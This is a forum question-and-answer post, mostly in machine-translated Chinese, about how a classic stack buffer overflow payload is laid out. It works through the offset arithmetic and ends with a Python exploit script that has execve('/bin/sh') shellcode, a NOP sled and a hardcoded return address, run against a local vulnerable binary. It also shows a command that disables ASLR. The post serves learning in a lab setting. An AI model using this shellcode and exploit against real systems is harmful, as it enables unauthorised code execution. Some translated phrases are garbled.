为什么这是漏洞利用的结构

Why is this the structure of the exploit

所以我尝试按照教程进行操作:https://sploitfun.wordpress.com/2015/05/08/classic-stack-based-buffer-overflow/

我一直在努力弄清楚漏洞利用代码的顺序,至少在某种程度上是这样。

我不明白为什么要先放 NOPS 然后才放 Shell-code,我也想不通为什么不先放 shellcode 到 buf 然后放 junk +回复地址。 我以为这是为了保存内存地址计算,但真的是这个原因吗? 使用您已经拥有的堆栈(比如不使用 'beyond' return-地址)不是更简单吗? 为什么不让恶意缓冲区成为: Shellcode + Junk + ret-address(到shellcode开头) ?是因为有些复杂的内存地址计算......?希望我说清楚了。

提前谢谢你。

编辑:

一个相同的例子(与代码 I 运行 相同):

https://github.com/jivoi/junk/blob/master/pwnerrank/binary-exploitation/stack-based-buffer-overflow-code-execution.c

我找到了解决问题的方法。

所以,首先,这只能在堆栈的范围内利用它(这意味着我只使用了缓冲区和位于堆栈中的 return 地址之间的内存,在order to execute code),确实需要一些额外的计算,但感觉有点"cleaner",可能没什么区别,但还是可以的

非 shell 的问题只是我没有注意到我实际上并没有对 "echo 0 > /proc/sys/kernel/randomize_va_space" 进行 sudo,它也没有 运行。

我正在为仅使用堆栈的漏洞添加代码。 我必须找到 ESP,首先放入 100 个 NOP,然后是代码,然后是一些垃圾 (A),最后是 return 地址。

我使用以下方法知道尺寸: 我知道如果我 'junk' 到 return 地址(包括)的所有内容,那将是 268+4 (272) 字节。 另外,我的 shell 代码有 25 个字节长,NOP 加在一起有 100 个字节长。我还必须记住 return 地址有 4 个字节长,所以总共:

我需要填充:前 100 个字节带有 NOP,然后是 shell 代码的 25 个字节,之后我还剩下尚未计算的垃圾块,最后是 [=33 的 4 个字节=] 地址.

我可以得出结论,垃圾块需要是: 272-(100+25+4)=143 字节长。 所以,我所做的是复制 "A" 143 次。

地址 0xbffff164 源自缓冲区将位于的位置的开头是 0xbffff210-272,并且因为前 100 个字节用于 NOP,所以我们加 100,最后得到 0xbffff164。

这是我留下的代码,它利用了相同的漏洞,只是没有超出 return-地址(真的不知道它是否重要,对我来说感觉更干净,虽然需要更多的计算):

#exp.py 
#!/usr/bin/env python
import struct
from subprocess import call

#Stack address where shellcode is copied.
ret_addr = 0xbffff210    # ESP's value when the whole stack up to the return-address is filled (Hence, this is the where the return address is supposed to be) 

#Spawn a shell
#execve(/bin/sh)
scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

buf = "\x90" * 100
buf += scode
buf += "A"*143
buf += conv(0xbffff164)

print "Calling vulnerable program"
call(["./vuln", buf])